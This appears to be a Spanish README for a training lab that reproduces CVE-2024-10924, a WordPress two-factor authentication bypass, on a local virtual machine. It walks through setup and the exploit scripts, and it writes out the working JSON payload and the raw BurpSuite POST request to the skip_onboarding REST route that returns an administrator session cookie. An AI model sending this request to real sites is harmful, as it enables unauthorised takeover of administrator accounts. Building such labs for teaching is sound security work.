
Este repositorio proporciona un laboratorio para explotar la vulnerabilidad CVE-2024-10924 en WordPress, específicamente para omitir la autenticación de dos factores (MFA) y obtener acceso al panel de administración de WordPress.
Para desplegar este laboratorio en tu entorno, sigue los pasos a continuación:
Tendrás que descomprimir el zip del LAB; en VMWare, deberás hacer clic en Open para importar una máquina, seleccionamos el archivo llamado Ubuntu-Bypass-MFA-Wordpress.vmx, y finalmente tendremos que hacer clic en Power para encender la máquina vulnerable.
En tu máquina Kali, instala las herramientas necesarias y asegúrate de tener las siguientes aplicaciones instaladas:
nmap: Para realizar escaneos de red.requests: Para hacer solicitudes HTTP (si no lo tienes, instala requests con pip install requests).rich: Para una salida elegante en la consola (instala con pip install rich).Para obtener la IP de la máquina WordPress en el entorno de red, ejecuta el siguiente script desde tu máquina Kali:
$ python3 knowIPwordpress.py
This script does the following:
Detecta tu IP local.
Escanea el segmento de red correspondiente para encontrar IPs activas.
Realiza un escaneo de puertos para servicios HTTP.
Comprueba que la IP de la máquina WordPress tiene el título "Bypass-MFA" en su servicio HTTP.
Una vez encontrada, te mostrará la URL donde puedes acceder al panel de administración de WordPress:
Accede a WordPress en: http://<IP>/wp-admin
admin:admin
Cuando intentes iniciar sesión en WordPress, te pedirá la verificación de dos factores (MFA). Para omitir este paso, ejecuta el siguiente script en tu Kali:
$ python3 bypass-MFA-Wordpress.py
Cómo funciona el script bypass-MFA-Wordpress.py
Este script explota la vulnerabilidad CVE-2024-10924 y omite la doble verificación para obtener acceso al panel de administración de WordPress.
Obtener cookie de sesión: El script hace una solicitud HTTP al endpoint reallysimplessl/v1/two_fa/skip_onboarding para obtener una cookie de sesión válida.
La solicitud se envía con la siguiente información:
{
"user_id": 1,
"login_nonce": "133333337",
"redirect_to": "/wp-admin/"
}
Una vez obtenida la cookie, el script solicita el nombre de usuario y la contraseña de WordPress. Luego, realiza una solicitud POST al endpoint wp-admin/profile.php con las credenciales proporcionadas para iniciar sesión.
Si el bypass es exitoso, el script guarda la respuesta del panel de administración en un archivo .html y lo abre en tu navegador predeterminado.
¡Ahora tendrás acceso al panel de administración de WordPress!
Si quieres hacerlo manualmente con BurpSuite y queremos saber el Endpoint al que tenemos que enviar la solicitud para capturar las Cookies, podemos hacerlo de la siguiente manera
$ python3 endpointWordpress.py
Esto nos dirá el código que tendremos que poner en BurpSuite para poder capturar las Cookies; en mi caso sería algo así:
POST http://192.168.5.192/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: 192.168.5.192
Content-Type: application/json
Content-Length: 89
Connection: keep-alive
{
"user_id": 1,
"login_nonce": "133333337",
"redirect_to": "/wp-admin/"
}
https://github.com/user-attachments/assets/e70789d1-4fe4-46b4-81ef-76229dd265ce